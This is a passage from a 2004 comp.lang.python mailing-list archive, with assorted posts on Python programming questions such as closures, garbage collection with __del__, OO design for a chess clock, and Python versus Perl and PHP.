of 2 ip address, one a start address and the other the
end address and prints a list of all ip address in
between  in dotted-decimal format.  If so, what is the
recommended way?  Is there a way to do this with the
supplied python modules?

Thanks!

__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From sross at connectmail.carleton.ca  Mon Feb 16 13:42:42 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Mon, 16 Feb 2004 13:42:42 -0500
Subject: OO style advice
References: <1076943278.22567.0@echo.uk.clara.net>
Message-ID: <ta8Yb.5046$Cd6.219859@news20.bellglobal.com>

"DomF" <fidtz at clara#spam#.co.uk> wrote in message
news:1076943278.22567.0 at echo.uk.clara.net...
> I have been putting together a little text chess program and have run into
a
> style issue when integrating my chess clock with my chessboard generator.
> Basically, I would like to be able to manipulate the clock independently
of
> the board but also want the clock time as displayed by the board to change
> automatically.

Hi.
My first thought is to make a Clock object that has a time attribute and
start() and stop() methods

Then have one instance of Clock for each player (and perhaps an independent
one for the board?)

If you have Player objects, perhaps they could have a clock instance. In
that way
you could do something like:

# suppose the players are maintained by the board in a list
# and you have a turn variable for accessing the player whose turn it is to
play
while board.state != STALEMATE and board.state != CHECKMATE:
    player = player[turn]
    player.clock.start()
    player.move()
    player.clock.stop()
    turn.next()   # adjust turn index to let other player move next round


you could even have player.clock.start() and player.clock.stop() at the
start
and end of the inside of player.move() so your code looks more like this

while board.state != STALEMATE and board.state != CHECKMATE:
    player[turn].move()
    turn.next()


Just an idea,
Sean




From mwh at python.net  Tue Feb  3 07:22:23 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 3 Feb 2004 12:22:23 GMT
Subject: More verbose traceback
References: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>
Message-ID: <m3fzdsbbeo.fsf@pc150.maths.bris.ac.uk>

"Thomas Guettler" <guettli at thomas-guettler.de> writes:

> Hi!
> 
> Has someone written a script which
> dumps a traceback in a more verbose style?
> 
> This should include the information you
> see with cgitb. I like this very much.
> 
> You see the values of the important variables
> in the traceback. I need something like
> this, but it should be plain ascii, not html.

I beleive there's a patch on SF (to cgitb) that does this.

Cheers,
mwh

-- 
  But since your post didn't lay out your assumptions, your goals,
  or how you view language characteristics as fitting in with 
  either, you're not a *natural* candidate for embracing Design by 
  Contract <0.6 wink>.    -- Tim Peters, giving Eiffel adoption advice


From no.mail at no.mail.it  Sat Feb 14 19:56:25 2004
From: no.mail at no.mail.it (robsom)
Date: Sun, 15 Feb 2004 00:56:25 +0000 (UTC)
Subject: opinion for newbie code
Message-ID: <pan.2004.02.14.20.53.55.491882@no.mail.it>


I have strings of like this:
"one          two : three four     ;\n"
and I want to put them into lists using ":" as delimeter but I have to
get rid of all the spaces and other not necessary characters, like this:
list = ["onetwo", "threefour"]

so I wrote the following code, which works, but I have a couple of
questions:

1. for line in fin.readlines():
2.	eq = []
3.	row = line.replace(" ","").replace(";","").replace("\n","").split(":")
4.	# ...
5.	# other code
6.	# result of the code are three lists A, B, C
7.	# which I want to put into a single list L = ['A','B','C']
8.	# ...
9.	L.append(A)
10.	L.append(B)
11.	L.append(C)

Question n.1: what do you think of statement number 3? it works but I
kind of suspect it is not the best way to do it.

Question n.2: on line 9-11 I add my three lists (A, B, C) to the L list
using three append instructions. Is there another way to do the same
thing, i.e. to add more than one element to a list with a single
instruction?
thanks

R





From eltronic at juno.com  Thu Feb  5 12:02:20 2004
From: eltronic at juno.com (eltronic at juno.com)
Date: Thu, 5 Feb 2004 12:02:20 -0500
Subject: advice on programming style: is multiple inheritance bad?
Message-ID: <20040205.124343.-132167.1.eltronic@juno.com>


On Thu, 5 Feb 2004 12:29:20 GMT Michael Hudson <mwh at python.net> writes:
> Uwe Mayer <merkosh at hadiko.de> writes:
> 
> > Michael Hudson wrote:
> > 
> > > Uwe Mayer <merkosh at hadiko.de> writes:
> > > 
> > >> BTW: when doing m.i. you can't mix new-style and old-style 
> objects, or
> > >> else Python exits with a Segmentation Fault. :)
> > > 
> > > Uhh, really?  Example please.
> > 
> > Seems only to occur in connection with Qt. :( 
> 
> Ah, good, not a problem I can fix <wink>.
> 
> > Code as the one below, inheriting from some Qt Widget and using
> > m.i. with new-style classes cause a Segmentation Fault on my
> > machine:
> 
> Weird.  I take it you've reported this to the PyQT folks?
> 
in my older version non-com win, mi isn't supported.
its on the 2nd or 4th page of the html doc's
maybe newer version are different, one can hope.
is no fun finding source that doesn't degrade gracefully.

not sure about the new/old style either.
you, it hurts when I do that.
doctor, quit doing that.


e
please forward all spam  to "me"<u%63e at f%74c.go%76>

________________________________________________________________
The best thing to hit the Internet in years - Juno SpeedBand!
Surf the Web up to FIVE TIMES FASTER!
Only $14.95/ month - visit www.juno.com to sign up today!



From mwh at python.net  Wed Feb 25 13:09:34 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 18:09:34 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
Message-ID: <m3vflvdo9u.fsf@pc150.maths.bris.ac.uk>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> Michael Hudson <mwh at python.net> writes:
> 
> > Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> > 
> > > Paul Prescod <paul at prescod.net> writes:
> > > 
> > > > I disagree. Closures are rare in Python because Python is primarily an
> > > > OOP language.
> > > 
> > > I disagree, Python is a multi-paradigm language ... I fail to see how
> > > this has any bearing on the use of closures ... 
> > 
> > Really?  Paul is saying "if you are in a situation in Python where you
> > want to use a read-write closure, you'll probably be happier if you
> > use an object-based solution instead".
> > 
> > Now you may *disagree* with this point, but I find it hard to believe
> > you don't *see* it.
> 
> Aaah, OK, _if_ you think that closures are _only_ a way of faking
> objects, _then_ claiming that Python is primarily OO does have a
> bearing on the use of closures. Forgive me for not pursuing
> this tangent any further.

OK, you really hadn't seen this argument before.  You must be new here
:-) (or at least, new to this particular dispute).

> > Using closures to fake objects sucks (in scheme or CL as much as in
> > Python).
> 
> And using objects (err ... instances of classes) to fake stateful
> functions sucks just as much.

Hmm.  Really?  I'm not sure that I often find myself wanting a
"stateful function".  I think I probably usually use bound methods.
This could be the tail wagging the dog, of course.

> When I need "objects" I use objects, and when I need closures I want
> to be able to use closures.

So could this :-) 

(trivially, you never *need* closures, just the same as you don't
*need* objects, there's a rather dull and unhelpful isomorphism
between the two concepts).

> > Can you post an example of using a read-write closure that you think
> > wouldn't be better off as an object (invent syntax as necessary...).
> > No-one was very convincing at this last time it went around on
> > python-dev.
> 
> Sure. I have some stateful methods of classes (which I create
> dynamically and stick onto the class as the information about the
> existence of the method becomes available). By implementing them as
> closures I can just stick them on to the class. If I were to implement
> them as instances then I'd have to reimplement all the descriptors
> that take care of turning functions into bound or unbound methods.

Which isn't that hard... I think a code example might lend a bit more
clarity.

> [At this point I'd love someone to step up and show me how to re-use
> the existing FunctionType descriptors in my own classes.]

Post some code, and I'll have a go.

> Another example. I make quite heavy use of a trivial memoizer. The
> closure verison is much shorter, clearer and faster.

I'll grant you this: I've done the same.

> (I want it to be writeable because I sometimes want to 'prime' the
> cache, or do other things to it ... so I'm giving myself access to
> the cache by binding the cache as a function attribute of the
> closure, before returning it from the memoizer)

Um, here, unless I misunderstand you, you don't want to mutate the
closed over binding (which is what Python currently doesn't let you
do) but mutate the object the closed over binding is bound to.  In
this respect, Python is no different from anything else, you need to
arrange some way to expose said object outside the closure.

What am I missing?

> In short, whenever I want a _function_ which happens to have some
> internal state, I'd much rather use a closure than an instance of a
> class.

Maybe, once you've been assimilated into the Python Borg mindset, you
don't, actually.

There are sort of two extreme possibilities here:

1) I am so blinded by the fact that I know Python as of 2.3 FAR better
   than any other language that I don't see how wonderful Python would
   be if "full closures" were added.

2) Full closures just aren't that appropriate to Pythonic programming.

The truth, almost certainly, is somewhere in between these points.

> > > all of which is irrelevant to my original point, which was to note
> > > out that saying "people don't use it much" is not a very convincing
> > > argument for not fixing something that is broken ... 
> > 
> > OK, how about the argument above?
> 
> My original point, although prompted in a context which discussed
> closures, in independent of closures.

Fine.  Let's have a real argument instead :-)

Cheers,
mwh

-- 
  Never meddle in the affairs of NT. It is slow to boot and quick to
  crash.                                             -- Stephen Harris
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html


From grahamd at dscpl.com.au  Mon Feb 16 16:51:55 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: 16 Feb 2004 13:51:55 -0800
Subject: __del__ doesn't work
References: <21064255.0402151141.51a38fed@posting.google.com>
	<dc6f5c99.0402151649.34422f21@posting.google.com>
	<c0pmq5$dm1$1@news.service.uci.edu>
Message-ID: <dc6f5c99.0402161351.1e5da086@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c0pmq5$dm1$1 at news.service.uci.edu>...
> > I don't believe that Python can cope with this and the object
> > will never actually be deleted. Please correct me if I am wrong.
> 
> You are incorrect.
> 
>  From http://www.python.org/doc/current/lib/module-gc.html:
> "The gc module is only available if the interpreter was built with the 
> optional cyclic garbage detector (enabled by default). If this was not 
> enabled, an ImportError is raised by attempts to import this module."
>
> ...

Hmmm, that isn't quite how I read it. If objects in a cycle have
__del__
methods, you have to break the cycles somehow still. See:

  garbage

    A list of objects which the collector found to be unreachable but
could not
    be freed (uncollectable objects). By default, this list contains
only objects
    with __del__() methods. Objects that have __del__() methods and
are part
    of a reference cycle cause the entire reference cycle to be
uncollectable,
    including objects not necessarily in the cycle but reachable only
from it.
    Python doesn't collect such cycles automatically because, in
general, it isn't
    possible for Python to guess a safe order in which to run
the__del__() methods.
    If you know a safe order, you can force the issue by examining the
garbage list,
    and explicitly breaking cycles due to your objects within the
list. Note that these
    objects are kept alive even so by virtue of being in the garbage
list, so they
    should be removed from garbage too. For example, after breaking
cycles, do
    del gc.garbage[:] to empty the list. It's generally better to
avoid the issue by
    not creating cycles containing objects with __del__() methods, and
garbage
    can be examined in that case to verify that no such cycles are
being created.

> > In certain circumstances where I have had this problem and I
> > needed to know the object would be destroyed as soon as
> > possible, I have had to add a method to the class which could
> > be called to undo any references the class held which pointed
> > back onto itself.
>
> That is smart, but it does beg the question: Why would a class instance 
> need to have a reference to itself?  I can understand certain reasons, 
> but many can be translated into weakrefs with little difficulty.

Because the Python class was a wrapper around a C++ class which
provided callbacks from an event system. In the Python wrapper, one
specified in the code dynamically what method of the Python class
you wanted the event delivered to. Thus, the Python class has a
reference back not to the class, but a method of the class. This has
the same effect of creating a loop. Ie.,

class A:

  def __init__(self):
    print "init"
    self.a = self._a

  def __del__(self):
    print "del"

  def _a(self):
    pass

a = A()
del a

Will print "init" only.

Or for an actual example:

import netsvc

class Handler(netsvc.Agent):

  def __init__(self):
    netsvc.Agent.__init__(self)
    print "init"
    self.startTimer(self.timeout,30)

  def __del__(self):
    print "del"

  def timeout(self):
    print "timeout"

o = Handler();
del o

netsvc.Dispatcher().run()

If an attempt was made to delete the Handler object before the timer
expired, it wouldn't. Instead it would hang around until the timer
expired, which isn't what was wanted. Thus need to do:

o.Handler()
o.destroyAgent()
del o

Where the destroyAgent() method undoes any cycles caused by the
registered callbacks.

> > I have looked at weak references, but have not been satisfied
> > that it could be used in the situation where I had to overcome the
> > problem.
> 
> Weak referenced objects are not required to be deleted immediately 
> following the final strong reference removal.  Perhaps that is where 
> your confusion lies.
> 
> Nowhere does it claim to delete immediately following the final strong 
> reference removal, the garbage collector collects when it is ready to. 
> One thing to remember is that sometimes references hide.

That things aren't deleted immediately is why I wasn't satsified that
it
could be used in my situation. I needed the immediate deletion that
would normally occur in CPython when a final reference was deleted.
Without it, the wrapped C++ class wouldn't get destroyed and the
registrations it had made on behalf of the Python wrapper to events
generated by the event system wouldn't be removed. Thus per example
above, even though you had deleted the local reference to the object,
the object was still active and still receiving events. If the handler
did
some sort of permanent event registration against some aspect of the
event system, it would never die.


From aahz at pythoncraft.com  Fri Feb 27 15:42:30 2004
From: aahz at pythoncraft.com (Aahz)
Date: 27 Feb 2004 15:42:30 -0500
Subject: Internet-scale distributed computing?
References: <mailman.182.1077835454.8594.python-list@python.org>
Message-ID: <c1oa3m$602$1@panix3.panix.com>

In article <mailman.182.1077835454.8594.python-list at python.org>,
Skip Montanaro  <skip at pobox.com> wrote:
>
>Failing to find any obvious references with some googling, I turn to the
>Python folks who have lots of information about lots of different
>application domains.
>
>I'm sure many of you are aware of SETI at Home, Folding at Home and Google
>Compute, all tools to tackle certain large computational problems on an
>Internet scale, typically by soaking up unused cycles on otherwise idle
>computers.  A bit of googling didn't turn up any others, so I'm wondering:
>
>    1. Are there other active projects similar to SETI at Home or Folding at Home?
>
>    2. Are there tools available to make it easier to build such
>       applications?

It's not clear whether you're trying to place this in a specifically
Python context.  If yes, I don't know much, but I'd recommend looking at
Spread. 

http://www.python.org/other/spread/
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From elainejackson7355 at home.com  Wed Feb  4 12:18:55 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Wed, 04 Feb 2004 17:18:55 GMT
Subject: an ingrate newbie complains
Message-ID: <3Q9Ub.390497$JQ1.351833@pd7tw1no>

I have some minor complaints about the Python language, and I'm interested to
know how other people feel about them. Here they are:

1) I find the following behavior puzzling and disappointing:

>>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
>>> Y=dict(X)
>>> Z=list(Y)
>>> Z==X
False
>>> Z==Y.keys()
True

2) How come you can't write...

if y = f(x) > 3:
    <do a bunch of things with x and y>

...as an equivalent of...

y = f(x)
if y > 3:
    <do a bunch of things with x and y>

...?

That kind of syntax would be especially welcome in list comprehensions:

[f(x,y) for x in list if y=g(x)<=0]

If g(x) is a fairly complicated expression, and y occurs several times in
f(x,y), considerable clarity could be gained.







From kylotan at hotmail.com  Sat Feb  7 17:14:06 2004
From: kylotan at hotmail.com (Kylotan)
Date: 7 Feb 2004 14:14:06 -0800
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
	<c02ubl$qqt$07$1@news.t-online.com>
Message-ID: <153fa67.0402071414.64d84ee0@posting.google.com>

Peter Otten <__peter__ at web.de> wrote in message news:<c02ubl$qqt$07$1 at news.t-online.com>...

> def disableWarnings():
>     def _theevilunwarner(*args):
>         pass
>     import warnings
>     warnings.warn = _theevilunwarner
>     warnings.warn_explicit = _theevilunwarner 

Heh, that's great. However, I don't think it really scales well to a
full application, does it? :)

> (*) Your email client seems to replace normal space with evil lookalikes, so
> I had to delete and reinsert the entire whitespace.

I'm posting through Google Groups; my ISP doesn't carry more than the
last 6 threads of comp.lang.python, or indeed many other newsgroups. I
have no idea why.

-- 
Ben Sizer


From bart_nessux at hotmail.com  Wed Feb 11 11:12:25 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 11:12:25 -0500
Subject: iterating over a list and printing
In-Reply-To: <mailman.1467.1076514098.12720.python-list@python.org>
References: <c0dhev$2gp$1@solaris.cc.vt.edu>
	<mailman.1467.1076514098.12720.python-list@python.org>
Message-ID: <c0dk99$6qo$1@solaris.cc.vt.edu>

Richie Hindle wrote:
> [Bart]
> 
>>>>ip_list.append(inputFile.read())
> 
> 
> You probably meant something like this (untested):
> 
> inputFile = file('ips.txt', 'r')
> ip_list = inputFile.readlines()   # Note readlines() rather than read()
> inputFile.close()
> for i in ip_list:
>     print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast 128.173.123.255 up" %i
> 
> If you really do need to create ip_list up front and append to it,
> you should use extend() rather than append() - see the "mutable
> sequence types" documentation for details.
> 

Thanks to everyone for the replies. This works now.



From bobx at linuxmail.org  Thu Feb 12 21:34:40 2004
From: bobx at linuxmail.org (Robert)
Date: Thu, 12 Feb 2004 21:34:40 -0500
Subject: python vs. perl
In-Reply-To: <102o6h6s1nm6g23@corp.supernews.com>
References: <20040212170911.22719.00001914@mb-m18.aol.com>
	<402BFAFA.70A476F5@engcorp.com>
	<102o6h6s1nm6g23@corp.supernews.com>
Message-ID: <t7WdnfnhcaxcqrHd4p2dnA@adelphia.com>

Cameron Laird wrote:
> In article <402BFAFA.70A476F5 at engcorp.com>,
> Peter Hansen  <peter at engcorp.com> wrote:
> 
>>Patio87 wrote:
>>
>>>    Hi I was wondering which was better for doing stuff like, GUI
>>
>>programs, and
>>
>>>gaming, and maybe even network stuff for games? I know python and am learning
>>>c++, but because of ease of use I want to know which is better,
>>
>>because I might
>>
>>>want to drop python and go to perl. Unless Im swayed to stay with
>>>python......AM I missing out on anything by not knowing perl?
>>
>>Use Google to find what must be dozens of comparisons that have already been
>>written on this topic.  Try keyword combinations like "python perl comparison"
>>and you'll get more opinions than you're likely to want to read.
>>
>>-Peter
> 
> 
> While both Perl and Python are indeed roughly comparable in many
> ways, and both have active, even vibrant, developer communities,
> it's particularly difficult to argue that Perl has significant
> advantages in GUI construction or game scripting; those are two
> notable domains where Python's lead is clear.
Very true. That is one reason I am starting to lean toward Python. Is 
Tkinter better than Perl/Tk?


From peter at engcorp.com  Tue Feb 10 11:38:46 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 11:38:46 -0500
Subject: synchronized method
References: <c0a1mt$v79$1@hyppo.gu.net>
	<dc6f5c99.0402100332.2fe33c25@posting.google.com>
Message-ID: <40290916.ECCDE661@engcorp.com>

Graham Dumpleton wrote:
> 
> Max Ischenko <max at ucmg.com.ua.remove.it> wrote in message news:<c0a1mt$v79$1 at hyppo.gu.net>...
> > Hi,
> >
> > I wrote simple implementation of the "synchronized" methods (a-la Java),
> > could you please check if it is OK:
> >
> > def synchronized(method):
> >
> >      """
> >      Guards method execution, similar to Java's synchronized keyword.
> >
> >      The class which uses this method, is required to have a
> >      L{threading.Lock} primitive as an attribute named 'lock'.
> >      """
> >
> >      def wrapper(self, *args):
> >          self.lock.acquire()
> >          try:
> >              return method(self, *args)
> >          finally:
> >              self.lock.release()
> >      return wrapper
> 
> Under normal execution the lock will not be released because you return
> from the try clause. There is also the case that method isn't defined.

If that were true, the finally clause would be pretty useless in many
cases.  (Try it out yourself: it will work properly.)

Also, isn't "method" defined as the argument to the synchronized()
function at the top?

To me, this looks like a pretty reasonable approach to handling
the problem as defined.

-Peter


From gandalf at geochemsource.com  Mon Feb 16 01:40:44 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Mon, 16 Feb 2004 07:40:44 +0100
Subject: Site search
References: <40306471.8070603@geochemsource.com>
Message-ID: <403065EC.50608@geochemsource.com>

Oh, I'm sorry for the dumb e-mail. I think I found the solution. It is 
called DoxIndexer. It uses the Lupy search engine.

http://www.methods.co.nz/docindexer/

Thanks anyway

Gandalf wrote:

> Hi All! I need to create a "site search" feature for a website. I 
> would like to create a service which could be
> pointed to a directory. It should go over all subfolders, read all 
> HTML,ASP,PHP,TXT and PDF files, and
> create a table indexed by words. The most important would be...
>
> 1. It should index PDF files too. (The site contains many datasheets 
> so this is curical.)
> 2. It should not index special keywords inside HTML and PDF file (so 
> if somebody would search for "green" then it should only lookup "green 
> cables" and "green grass", but not <FONT COLOR="GREEN">)
>
> Is there a library out there that can do the task for me? I can easily 
> do all parts except parsing a file and gather keywords.
>
> Thanks in advance.
>
>   Laci 2.0
>
>
>





From vwehren at home.nl  Mon Feb 16 13:54:20 2004
From: vwehren at home.nl (Vincent Wehren)
Date: Mon, 16 Feb 2004 19:54:20 +0100
Subject: Creating Self Extracting Zip using Python
References: <c0qc5j$2g52$1@news.hgc.com.hk>
Message-ID: <c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>

"Calvin FONG" <hoi.wai at alumni.ust.hk> schrieb im Newsbeitrag
news:c0qc5j$2g52$1 at news.hgc.com.hk...
| Dear all,
| Are there any utility that can be call by python to create self
| extracting zip file. I'm now using the powerarchiever. But the command
| line options aren't flexible enough. Basically, I would like to create a
| self extracting zip with default file path extraction and force
| over-write. The powerArchiever just don't let me call it unless I'm
| using the GUI.
| Any idea, experience and suggestion are welcome.
| Thank you.
| -Calvin


I use MakeSfx aka FreeExtractor (http://www.disoriented.com/) drive it with
Python. The command line options is flexible (enough), it's free, and it's
open source...

HTH,

Vincent Wehren




From secchi at sssup.it  Fri Feb 20 06:56:57 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Fri, 20 Feb 2004 12:56:57 +0100
Subject: eval ?
Message-ID: <20040220125657.3eb0e935.secchi@sssup.it>


I'm trying to use eval (is the right function? ) to generate empty lists
with different names(es. list_1, list_2, list_3, ...) in a loop similar
to:

for index in range(1,4):
	list=[]
	for index in range(1,7):
		if <condition>:
			list.append(1)
	foo='list_'+str(index)+'=list'
	eval(foo)

I am not a programmer as you probably see from the code and I do not
even know if this is the right approach to do that in Python (I used
this structure with Matlab that I want now to dismiss ...)

Any help?
Thanks
angelo



From michael at foord.net  Thu Feb  5 10:13:32 2004
From: michael at foord.net (Fuzzyman)
Date: 5 Feb 2004 07:13:32 -0800
Subject: Resurecting Part of Grail (HTML Tk Widget)
Message-ID: <8089854e.0402050713.3c659e7@posting.google.com>

I've been looking for a Tk widget to render basic HTML (as a simple
way of building formatted text documents)......

Short of implementing a parser myself that would only ever cover a
very small subset of HTML I wondered if it would be possible to
resurrect part of the grail project for the job. (I don't want to
switch over to wx just yet before anyone suggests it).

I think viewer.py is where I need to be looking - when I try to just
'run' the script to test it I get an import error........

>>> 
Traceback (most recent call last):
  File "D:\Python Projects\modules etc\grail-0.6\Viewer.py", line 9,
in ?
    from Context import Context, SimpleContext
ImportError: cannot import name Context
>>> 


I look in the module Context and their is a class called Context.....
Anyone any ideas why that should fail or any other comments /
suggestions ??

Fuzzyman

--

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From brian at sweetapp.com  Mon Feb  2 14:29:11 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Mon, 02 Feb 2004 11:29:11 -0800
Subject: ANN: Vancouver Python and Zope User Group meeting
Message-ID: <002601c3e9c2$d5fd9980$0000fea9@dell8200>

Tomorrow, February 3rd 2004, at 6:00 there will be the usual monthly VanPyZ
meeting. The meeting will be held at ActiveState on 580 Granville Street,
Vancouver.

At this month's meeting we will discuss Python on Mac OS/X, Linux and other
Unices. Topics will include GUI programming, bridging to Objective-C,
Python's POSIX library and wrapping C code with Python.

Cheers,
Brian




From fgeiger at datec.at  Thu Feb 19 04:00:30 2004
From: fgeiger at datec.at (F. GEIGER)
Date: Thu, 19 Feb 2004 10:00:30 +0100
Subject: GUI application death catcher?
References: <lcisi4ezli.fsf@gaffa.mit.edu>
Message-ID: <c11tv6$lb5$1@newshispeed.ch>

Use PyChecker.
Write *extensive* unit tests, as Peter said.
Use sys.excepthook, as Josiah said.
Use the logging module.

It's unlikely that a non-GUI Python app or a Tkinter-GUI Python app crashes
the way that Windows wants to phone home to tell that M$. However, it's more
likely if you use wxPython as your GUI binding. But then you didn't do any
thorough tests.

HTH
Franz GEIGER

"Douglas Alan" <nessus at mit.edu> schrieb im Newsbeitrag
news:lcisi4ezli.fsf at gaffa.mit.edu...
> I'm writing a GUI app in Python that will be used on the International
> Space Station.  I'd like for the app to be as robust as possible and,
> consequently, if it crashes, for there to be a log file written and a
> coherent error message displayed to the astronaut.
>
> My original approach to this was to write an in-process handler in
> Python that would catch all uncaught exceptions and log the error to a
> file and then hand-hold the user.  This turned out to be a bit hairy
> because of all the additional possible errors that might happen while
> handling the original error, but I made a decent stab at it.
> Unfortunately, I find that as I keep working on the program, I often
> break the error handler by breaking some utility code that the error
> handler uses.  This isn't so good, so it's back to the drawing board a
> bit.
>
> One approach I might take now is to maintain duplicate utility
> libraries -- one for the error handler and one for the rest of the
> code.  That way I lessen the risk of breaking the error handler when I
> break the rest of the program.  Another approach, which is what I am
> leaning towards at the moment, would be to have the error handler be a
> completely separate process that monitors the application and takes
> over if and when the application fails.  I would like to write this in
> Python, of course, but then I have the worry of what happens if the
> Python installation gets bit rot, or something, and the monitoring
> program consequently won't run properly.  So, now I'm thinking that a
> completely stand-alone, statically linked executable would be best for
> this particular task.
>
> But I'm really not in the mood at the moment to write a Windows C++
> GUI app.  (Oh, did I mention that unfortunately this is going to run
> on a Windows 2000 machine?)  I'm figuring that such programs must
> already exist, since there must be a lot of demand for them.  In fact,
> it seems that when using Windows, I often see pop-up dialogs about how
> some program or another crashed and would I like to send a report off
> to M$?  I'd like the same thing for my app, only for it to send a
> report off to me, rather than M$.  Does anyone know of a preexisting
> (preferably freeware) utility that does what I want?
>
> |>oug




From dave at pythonapocrypha.com  Tue Feb 17 15:44:57 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 17 Feb 2004 13:44:57 -0700
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <08ec01c3f596$e853ee60$6401fea9@YODA>

kbass wrote:
> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).

If you're interested in funding a study, I'm sure you could get someone to do a
truer test. Short of that, the evidence is mostly anectdotal because it's rare
"in the real world" to rewrite one non-trivial application in a different
language just for the heck of it. There are almost always changes in program
architecture or feature set so that it's tough to do an apples-to-apples
comparison.

That said,

http://tinyurl.com/39jsh

-Dave




From __peter__ at web.de  Sat Feb 21 13:17:19 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 21 Feb 2004 19:17:19 +0100
Subject: Strange (for a newbie) problem
References: <mailman.142.1077383087.27104.python-list@python.org>
Message-ID: <c187bf$ldm$03$1@news.t-online.com>

Angelo Secchi wrote:

> What is my mistake?

You didn't provide actual code and the traceback.

Peter

PS: Just a guess: code = int(sys.argv[1]) might work



From virus.manager at st.com  Wed Feb  4 10:56:56 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Wed, 04 Feb 2004 15:56:56 -0000
Subject: Virus Alert
Message-ID: <20040204155656.D64DCF4BA@zeta.dmz-eu.st.com>

The mail message (file: readme.zip) you sent to <jc at irbs.com> contains a virus. (on zeta)



From me at scantek.hotmail.com  Fri Feb 27 16:21:27 2004
From: me at scantek.hotmail.com (CountScubula)
Date: Fri, 27 Feb 2004 21:21:27 GMT
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
Message-ID: <rxO%b.17987$mA3.14043@newssvr29.news.prodigy.com>

"Erik Johnson" <ej.at.wellkeeper at dot.com> wrote in message
news:403fa54b at news.zianet.com...
> This is somewhat a NEWBIE question...
>  (snip)
>     I have not yet really "dug-in" to Python - I have dabbled and hacked a
> bit. I am advocating considering switching to Python for a number of
> reasons:
>
>         1) I think Python is cool.
>         2) We can do system administration type scripts (currently
> implemented in Perl), web page generation (PHP), and (potentially)
> client-side applications (including GUI's that make socket and/or external
> HTTP requests) in one language.
>         3) Python's interactive interpreter makes it easy to try things
out.
>         4) PyUnit - we would like to develop a robust set of tests and be
> able to do regression testing. I'm not aware of a JUnit/PyUnit analog in
> PHP. Are you?
>         5) Python has better code support for complex native data types
> (e.g., tuples, dictionaries, sequences, etc. and being able to write these
> directly in a hierarchical structure rather than building them up
piecewise
> with function calls and assignments as in PHP).
>         6) All the other standard evangeslistic points about why Python is
> better than <your favorite language here>, some of which may be valid to
us,
> some probably not. To those that have used PHP: what am I potentially
losing
> that Python really can't replace?
>
>  (snip)
>
> -ej
>
>


You should use what is best for you, but trying to settle on one laguage for
everthing is not a good idea, you will end uplocking yourself into more code
than you need sometimes.

Python is gread for server stuff, and GUI stuff, but for dynamic
intergration of html/script, PHP wins hands down.

Now I also use PHP for everything else (except GUI stuff) on servers, almost
all of my shell scripts are in php, along with autoresponders, mail filters,
data backup servers, etc..

But again, use what is quick/fast/simple to implment for you.  I use to use
perl for everthing under the sun, then slowly moved to php, not becouse it
was cool, but rather easier to set up, and with added functions designed for
dynamic site ingration.

You also need to look at what each language was desgined for, sure I can
write a dynamic web page in bash or korn, but why?  Perl was written to do
large extraction and reporting of text files, Python was written as a server
language, PHP was design specificly for dynamic/integration of web pages.

Ok, I'm done now.

--
Mike Bradley
http://www.gzentools.com  -- free online php tools




From lance.ellinghaus at eds.com  Wed Feb 18 13:27:26 2004
From: lance.ellinghaus at eds.com (Ellinghaus, Lance)
Date: Wed, 18 Feb 2004 13:27:26 -0500
Subject: Python reading System/Application Event logs in Windows
Message-ID: <1093E8BAEB6AD411997300508BDF0A7C18D09EDC@USHEM204.amer.corp.eds.com>

So.... Does anyone have a pointer on how to read the System and Application
Event logs in the Windows environment from within Python?

Thank you,
lance

Lance Ellinghaus
EDS - TWAI Operations Special Projects
Phone: 214-922-6458
Work Cell: 972-877-0409
Nextel Private ID: 142*52*5511
Personal Cell: 940-597-4755





From nospam at nospam.com  Mon Feb  2 08:05:59 2004
From: nospam at nospam.com (Steve)
Date: Tue, 03 Feb 2004 00:05:59 +1100
Subject: Thread stops!!
Message-ID: <401E4B37.7000901@nospam.com>

Hi,

I have a multithreaded python script that collects some data 
periodically and populates it into a database. For some reason, one of 
the thread keeps stopping after running for some while and there's no 
failure or any other sign of failure. What can possibly be going wrong? 
how can I track this? Is there someway I can find out if ony of the 
thread stopped? Please help!!

-- 
Steve



From rogerb at rogerbinns.com  Fri Feb 27 20:11:20 2004
From: rogerb at rogerbinns.com (Roger Binns)
